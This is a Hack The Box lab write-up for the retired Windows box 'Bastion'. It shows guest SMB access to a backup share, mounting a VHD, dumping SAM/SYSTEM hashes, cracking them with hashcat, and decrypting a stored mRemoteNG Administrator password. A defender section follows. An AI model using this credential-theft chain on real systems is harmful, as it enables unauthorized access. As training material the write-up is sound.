Bastion
Executive summary — Bastion is a very “forensic” Windows Server 2016 Easy box: an SMB share full of backups exposes the virtual disks (.vhd) of a Windows Image Backup. Mounting that VHD (instead of downloading the whole thing) reaches the filesystem and lets us extract the SAM and SYSTEM hives, which yield
L4mpje's hash — crackable with a wordlist. Once inside over SSH, mRemoteNG's config stores the Administrator password encrypted with a default master key: decrypt it and you're Administrator. A SMB → VHD → SAM → hash → mRemoteNG → root path.
| Platform | Hack The Box |
| Operating system | Windows Server 2016 |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[445] SMB → «Backups» share (guest, read/write)
│ note.txt: "don't download the full backup, it's huge"
│ WindowsImageBackup/L4mpje-PC → .vhd virtual disks
▼
[VHD] vhdimount + mmls -aB (offset) → mount the NTFS partition
│ System32\config\SAM + SYSTEM → pwdump → L4mpje's hash
▼
[Hash] hashcat -m 1000 (rockyou) → cleartext password
▼
[SSH] L4mpje → user.txt
│ mRemoteNG (confCons.xml) → encrypted Administrator password
│ decipher_mremoteng.jar → decrypt (default key)
▼
[SSH] Administrator → root.txt
1. Initial recon
We add the host to /etc/hosts and run a standard port scan:
echo "<TARGET_IP> bastion.htb" | sudo tee -a /etc/hosts
nmap -sC -sV bastion.htb
| Port | Service |
|---|---|
| 22 | SSH |
| 135 | RPC |
| 139 | NetBIOS |
| 445 | SMB |
Four ports, but the vector is obvious: SMB.
2. SMB enumeration
smbmap -u guest -H bastion.htb
Backups READ, WRITE
The Backups share is accessible as guest and, on top of that, writable. We connect with no password (Enter at the prompt):
smbclient //bastion.htb/Backups
smb: \> cat note.txt
note.txtitself drops the hint: don't download the whole backup, it's too heavy. In other words, mount it, don't copy it whole. Inside isWindowsImageBackup/L4mpje-PC/Backup .../with the virtual disks (.vhd) of a Windows backup.
3. Mount the share and the VHD
Instead of pulling the whole .vhd, we first mount the share over CIFS, then the virtual disk with forensics tooling (libvhdi-utils, from The Sleuth Kit):
sudo mount -t cifs //bastion.htb/Backups /mnt/local_share
sudo apt install libvhdi-utils sleuthkit
mkdir /mnt/bastion1
vhdimount '/mnt/local_share/WindowsImageBackup/L4mpje-PC/Backup .../....vhd' /mnt/bastion1
vhdimount exposes the virtual disk as a block device at /mnt/bastion1/vhdi1. That's still just the raw disk image, not a mountable filesystem: we need to locate the NTFS partition inside it with mmls:
mmls -aB /mnt/bastion1/vhdi1
...
002: 128 ... NTFS / exFAT (0x07)
offset: 128 sectors = 65536 bytes
Why the offset: a disk image starts with the partition table; the actual filesystem begins further in. With the offset in bytes, the partition can be mounted directly:
mkdir /mnt/vhdi_1
mount -o ro,noload,offset=65536 /mnt/bastion1/vhdi1 /mnt/vhdi_1
4. Extract SAM/SYSTEM and dump hashes
With the partition mounted read-only, we grab the registry hives holding the local accounts:
cp /mnt/vhdi_1/Windows/System32/config/SYSTEM /tmp
cp /mnt/vhdi_1/Windows/System32/config/SAM /tmp
pwdump /tmp/SYSTEM /tmp/SAM
L4mpje:...:26112010952d963c8dc4217daec986d9:::
5. Crack the hash → SSH as L4mpje
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
bureaulampje
ssh L4mpje@bastion.htb # bureaulampje
type C:\Users\L4mpje\Desktop\user.txt
6. Escalation — mRemoteNG
Now as L4mpje, local enumeration leads straight to mRemoteNG (a remote connection manager) installed on the box. Its config file stores the passwords of saved connections — including Administrator's:
type C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Why it's decryptable: mRemoteNG encrypts saved passwords with AES, but falls back to a default master key if the user never set one. With that known key, the encryption is trivially reversible with public tools:
java -jar decipher_mremoteng.jar "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
thXLHM96BeKL0ER2
ssh Administrator@bastion.htb # thXLHM96BeKL0ER2
type C:\Users\Administrator\Desktop\root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | SMB (Backups share) | Guest read/write access over a full Windows backup | Access to the system's virtual disks (.vhd) |
| Info leak | VHD (WindowsImageBackup) | Virtual disk mountable with no further authentication | Offline read of SAM/SYSTEM |
| Foothold | SAM/SYSTEM | Local NTLM hash extractable offline | L4mpje's hash is crackable |
| Foothold | NTLM hash | Weak password present in rockyou.txt | SSH as L4mpje + user.txt |
| PrivEsc | mRemoteNG | Administrator password encrypted with default master key (reversible) | SSH as Administrator + root.txt |
Defender's view
No exploit is involved anywhere in this chain, so nothing here trips a signature. The traces are in file-share auditing and in who logs in where.
Guest read/write SMB share over a full system backup
How it shows up in logs / telemetry
- With the "Audit File Share" and "Audit Detailed File Share" policies enabled, the Security log records every access to the
Backupsshare, including the anonymous/guest identity and the files touched underWindowsImageBackup. - Network telemetry: a single client pulling large reads of
.vhdfiles over SMB from a host that is not a backup server is a strong exfiltration signal.
How to fix it
- Disable guest access and remove
Everyone/anonymous permissions from the share; backups should be readable only by the backup service account. - Store system images on a dedicated, segmented backup target, ideally encrypted, never on an SMB share reachable from user networks.
- Treat a backup as equivalent to the disk itself: whoever can read it can extract
SAM/SYSTEMand every local hash offline.
Weak local password cracked from the SAM
How it shows up in logs / telemetry
- Offline cracking is invisible to the host. The only trace is the result: an SSH logon as
L4mpjefrom an unusual source, recorded in the OpenSSH event log and as a successful logon in the Security log.
How to fix it
- Enforce a password policy that rejects dictionary passwords, and check local account passwords against breached-password lists.
- Use Windows LAPS or equivalent for local accounts so a hash taken from one backup is not a reusable, long-lived secret.
mRemoteNG secrets protected by the default master key
How it shows up in logs / telemetry
- File access auditing (SACL) on
confCons.xmlunder the user'sAppDatashows reads by processes other than mRemoteNG itself. - An SSH logon as
Administratorshortly after a standard user's session from the same source IP is worth an alert: correlate logons per source, not per account.
How to fix it
- Set a custom master password in mRemoteNG so the connection file is not decryptable with the publicly known default key.
- Do not save privileged credentials in a standard user's connection manager at all; use a proper vault with per-use checkout for administrator accounts.
- Limit SSH access to the accounts that actually need it, and avoid direct remote logon as the built-in
Administrator.
Lessons learned
- A misconfigured SMB share (guest, read/write) over backups is a complete backdoor into the system: no exploit, no credentials needed.
- Backups are secrets: an accessible
.vhdis equivalent to having the whole disk — SAM, SYSTEM, and with them every local hash. - Mount instead of downloading (
vhdimountplus locating the partition offset withmmls) is the correct forensic technique for large virtual disks. - mRemoteNG and similar password managers are a common post-exploitation target: if they fall back to a default master key, saved credentials are trivially reversible.
- Credential reuse (a standard user's connection manager holding Administrator's saved password) is, in practice, a complete privilege escalation.